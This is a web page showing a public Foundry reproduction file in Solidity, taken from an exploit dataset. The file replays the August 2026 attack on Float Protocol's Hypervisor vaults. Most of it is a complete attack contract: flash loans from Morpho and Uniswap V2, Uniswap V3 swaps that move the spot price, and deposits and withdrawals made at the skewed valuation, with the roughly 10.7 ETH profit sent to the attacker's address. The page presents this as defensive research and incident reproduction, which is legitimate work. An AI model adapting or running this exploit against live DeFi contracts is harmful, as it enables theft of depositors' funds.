Public reproduction file
src/test/2026-08/FloatProtocol_exp.sol
Public reproduction file for dataset entry FloatProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Float Protocol Hypervisor (Gamma/Visor-style concentrated-liquidity vault) — Uniswap V38// spot-price manipulation of LP-share pricing — Ethereum mainnet, 2026-08.9// Attacker net gain ~10.7066 ETH (~$28K), flash-loan funded, in a single tx.10//11// Exploit tx : 0x3d7549db65344da2a41067e17791b17fac16ec6b8e5132e82e243f6541de5cff (block 25874402)12// Attacker EOA : 0xAEA29218262dc6b0904Ca077f6527C49dfd426D913// Attack ctrt : 0xb46655eb5b77de277063a75586d1883e951b6c54 (flash-loan / callback target)14//15// Root cause (verified against the on-chain trace, NOT a key/admin/signer compromise): Float's16// Hypervisor prices LP shares off getTotalAmounts(), which values the vault's Uniswap V3 position17// at the pool's INSTANTANEOUS slot0 spot price — no TWAP, no deviation/slippage guard on the18// permissionless deposit()/withdraw() path. So an unprivileged caller pushes the V3 tick with a19// large swap on the underlying pool, deposits into the hypervisors while the valuation is skewed,20// moves the tick back, and withdraws a richer token mix than it put in. Two hypervisors share the21// one pool, so both are worked with the same tick moves.22//23// Verified contracts (Etherscan): the two "Hypervisor" vaults and the "DepositProxy" (Gamma24// UniProxy) gateway are source-verified; deposit(uint256,uint256,address) and25// withdraw(uint256,address,address) are their real 3-arg signatures.26//27// Real economic sequence, reconstructed 1:1 from the trace below as ordinary typed calls (no28// bytecode blob, no raw calldata replay). All fCash-free; both underlying tokens are 18-decimal.29// token0 = 0xb050…7cb9 (Float pair token) token1 = 0xC02a…6Cc2 (WETH)30//31// flashLoan 1000 WETH from Morpho Blue, then inside the callback:32// UniV2 flash-swap 120,000 token0 from the token0/WETH pair (working capital), and inside33// THAT callback:34// 1. V3 swap: dump 114,000 token0 -> WETH, skewing slot0 down.35// 2. deposit (2000 token0 / 200 WETH) into Hypervisor A via DepositProxy, then withdraw its36// shares; same with (4000 / 400) into Hypervisor B — minting shares at the skewed price.37// 3. V3 swap: buy token0 with 250 WETH, skewing slot0 back up.38// 4. single-sided deposits of the token0 now held (395,035 and 394,911) into A and B, then39// withdraw those shares — redeeming a WETH-richer mix than deposited.40// 5. repay the 120,000-token0 flash-swap (+0.3% fee), then a final V3 swap dumping the41// leftover token0 back to WETH.42// Settle the surplus token0 into ~8.26 WETH through a second flash-swap, then repay Morpho.43// The net ~10.7066 WETH surplus is unwrapped to ETH and sent to the attacker EOA.44//45// The vulnerable pricing math runs inside Float's own on-chain Hypervisor/Uniswap contracts on the46// fork; this file only issues the same public calls the attacker did, in the same order and with47// the same on-chain-observed amounts.48//49// forge test --contracts src/test/2026-08/FloatProtocol_exp.sol -vvv51interface IMorpho {52 function flashLoan(53 address token,54 uint256 assets,55 bytes calldata data56 ) external;57}59interface IUniV2Pair {60 function swap(61 uint256 amount0Out,62 uint256 amount1Out,63 address to,64 bytes calldata data65 ) external;66}68interface IUniV3Pool {69 function swap(70 address recipient,71 bool zeroForOne,72 int256 amountSpecified,73 uint160 sqrtPriceLimitX96,74 bytes calldata data75 ) external returns (int256 amount0, int256 amount1);76}78interface IDepositProxy {79 function deposit(80 uint256 deposit0,81 uint256 deposit1,82 address to83 ) external returns (uint256 shares);84}86interface IHypervisor {87 function withdraw(88 uint256 shares,89 address to,90 address from91 ) external returns (uint256 amount0, uint256 amount1);92 function getTotalAmounts() external view returns (uint256 total0, uint256 total1);93}95interface IWETH is IERC20 {96 function withdraw(97 uint25698 ) external;99}101contract FloatHypervisorAttack {102 IMorpho internal constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);103 IUniV2Pair internal constant V2PAIR = IUniV2Pair(0x481DdaF90C59d91F3e480E6793122E62612CA5A9);104 IUniV3Pool internal constant POOL = IUniV3Pool(0xE8c2030686fC3b0161Ee1def0E8d01dFe4FAc0Ac);105 IDepositProxy internal constant UNIPROXY_A = IDepositProxy(0x3803729416AA5207FE801C1C565B906F6f3f8a28);106 IDepositProxy internal constant UNIPROXY_B = IDepositProxy(0x7CF8431E086e1bcdC9524fd305f7D5d8622CD75f);107 address internal constant HYPER_A = 0x85CBeD523459b7f6F81C11e710DF969703a8A70C;108 address internal constant HYPER_B = 0xc86B1e7FA86834CaC1468937cdd53ba3cCbC1153;109 IERC20 internal constant TOKEN0 = IERC20(0xb05097849BCA421A3f51B249BA6CCa4aF4b97cb9); // pool token0110 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // pool token1112 // Uniswap V3 sqrtPriceX96 swap bounds, plus the exact bound the third swap used on-chain.113 uint160 internal constant MIN_SQRT = 4_295_128_740; // MIN_SQRT_RATIO + 1114 uint160 internal constant MAX_SQRT = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_340; // MAX - 1115 uint160 internal constant SWAP3_LIMIT = 1_291_467_994_120_676_505_669_234_512;117 address internal immutable owner;119 constructor() {120 owner = msg.sender;121 // Approve the DepositProxy gateways to pull both tokens, and Morpho to reclaim its loan.122 TOKEN0.approve(address(UNIPROXY_A), type(uint256).max);123 TOKEN0.approve(address(UNIPROXY_B), type(uint256).max);124 WETH.approve(address(UNIPROXY_A), type(uint256).max);125 WETH.approve(address(UNIPROXY_B), type(uint256).max);126 WETH.approve(address(MORPHO), type(uint256).max);127 }129 function attack() external {130 MORPHO.flashLoan(address(WETH), 1000e18, "");132 // Realize the WETH surplus as ETH and forward it to the attacker EOA.133 uint256 profit = WETH.balanceOf(address(this));134 WETH.withdraw(profit);135 (bool ok,) = owner.call{value: address(this).balance}("");136 require(ok, "profit transfer failed");137 }139 // Morpho hands us 1000 WETH here; it reclaims it via transferFrom when this returns.140 function onMorphoFlashLoan(141 uint256,142 bytes calldata143 ) external {144 require(msg.sender == address(MORPHO), "not morpho");146 // Flash-swap 120,000 token0 from the V2 pair. Non-empty data -> the pair calls147 // uniswapV2Call, where the whole manipulation runs and the flash-swap is repaid.148 V2PAIR.swap(120_000e18, 0, address(this), bytes("run"));150 // Settle the leftover token0 surplus into ~8.26 WETH via a second flash-swap: pre-pay the151 // pair in token0, then draw the WETH out (empty data -> plain swap, no callback).152 TOKEN0.transfer(address(V2PAIR), 40_644_521_389_686_378_541_565);153 V2PAIR.swap(0, 8_262_293_544_735_057_778, address(this), "");154 }156 function uniswapV2Call(157 address,158 uint256,159 uint256,160 bytes calldata data161 ) external {162 require(msg.sender == address(V2PAIR), "not pair");163 if (data.length == 0) return; // second flash-swap: nothing to do here165 // 1. Skew slot0 down: dump 114,000 token0 for WETH.166 POOL.swap(address(this), true, 114_000e18, MIN_SQRT, "");168 // 2. Deposit at the skewed valuation and immediately redeem the shares (both vaults).169 UNIPROXY_A.deposit(2000e18, 200e18, address(this));170 IHypervisor(HYPER_A).withdraw(222_628_862_475_761_717_806, address(this), address(this));171 UNIPROXY_B.deposit(4000e18, 400e18, address(this));172 IHypervisor(HYPER_B).withdraw(3_703_209_972_128_726_462_535, address(this), address(this));174 // 3. Skew slot0 back up: buy token0 with 250 WETH.175 POOL.swap(address(this), false, 250e18, MAX_SQRT, "");177 // 4. Single-sided token0 deposits at the reverted valuation, then redeem — the WETH-richer178 // mix out is the extracted value.179 UNIPROXY_A.deposit(395_035_555_697_366_947_975_421, 0, address(this));180 IHypervisor(HYPER_A).withdraw(4_298_630_215_489_444_490_348, address(this), address(this));181 UNIPROXY_B.deposit(394_911_862_263_990_464_219_244, 0, address(this));182 IHypervisor(HYPER_B).withdraw(11_687_202_600_147_522_006_526, address(this), address(this));184 // 5. Repay the 120,000-token0 flash-swap (principal + 0.3% fee), then dump the remaining185 // token0 back to WETH.186 TOKEN0.transfer(address(V2PAIR), 120_361_083_249_749_247_743_230);187 POOL.swap(address(this), true, 273_935_936_917_328_916_023_788, SWAP3_LIMIT, "");188 }190 // Pay the Uniswap V3 pool the token it is owed for each swap.191 function uniswapV3SwapCallback(192 int256 amount0Delta,193 int256 amount1Delta,194 bytes calldata195 ) external {196 require(msg.sender == address(POOL), "not pool");197 if (amount0Delta > 0) TOKEN0.transfer(address(POOL), uint256(amount0Delta));198 if (amount1Delta > 0) WETH.transfer(address(POOL), uint256(amount1Delta));199 }201 receive() external payable {}202}204contract FloatProtocol_exp is BaseTestWithBalanceLog {205 address internal constant ATTACKER = 0xAEA29218262dc6b0904Ca077f6527C49dfd426D9;207 uint256 internal constant FORK_BLOCK = 25_874_401; // parent of the exploit block 25874402209 function setUp() public {210 vm.createSelectFork("mainnet", FORK_BLOCK);211 vm.label(ATTACKER, "AttackerEOA");212 vm.label(0x85CBeD523459b7f6F81C11e710DF969703a8A70C, "HypervisorA");213 vm.label(0xc86B1e7FA86834CaC1468937cdd53ba3cCbC1153, "HypervisorB");214 vm.label(0xE8c2030686fC3b0161Ee1def0E8d01dFe4FAc0Ac, "UniV3Pool");215 fundingToken = address(0); // profit realized in native ETH216 attacker = ATTACKER;217 }219 /// forge-config: default.evm_version = "cancun"220 function testExploit() public balanceLog {221 uint256 before = ATTACKER.balance;223 // The attack is fully permissionless; run it as the attacker EOA and send profit there.224 vm.prank(ATTACKER, ATTACKER);225 FloatHypervisorAttack exploit = new FloatHypervisorAttack();226 exploit.attack();228 uint256 gain = ATTACKER.balance - before;229 emit log_named_decimal_uint("attacker ETH profit", gain, 18);231 // Reproduced gain matches the reported ~10.71 ETH (~$28K).232 assertApproxEqAbs(gain, 10.7066e18, 0.05e18, "profit off expected ~10.7066 ETH");233 }234}Analysis
Dataset entry
Public Foundry test for “FloatProtocol” (2026-08-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xaea29218262dc6b0904ca077f6527c49dfd426d9
File record
- Name
- FloatProtocol
- Path
- src/test/2026-08/FloatProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 580cff16ebae459f0f711aae85e4248182b18b58
- Language
- Solidity
- Size
- 235 lines
- Date
- 2026-08-31
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/FloatProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 580cff16ebae459f0f711aae85e4248182b18b58, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.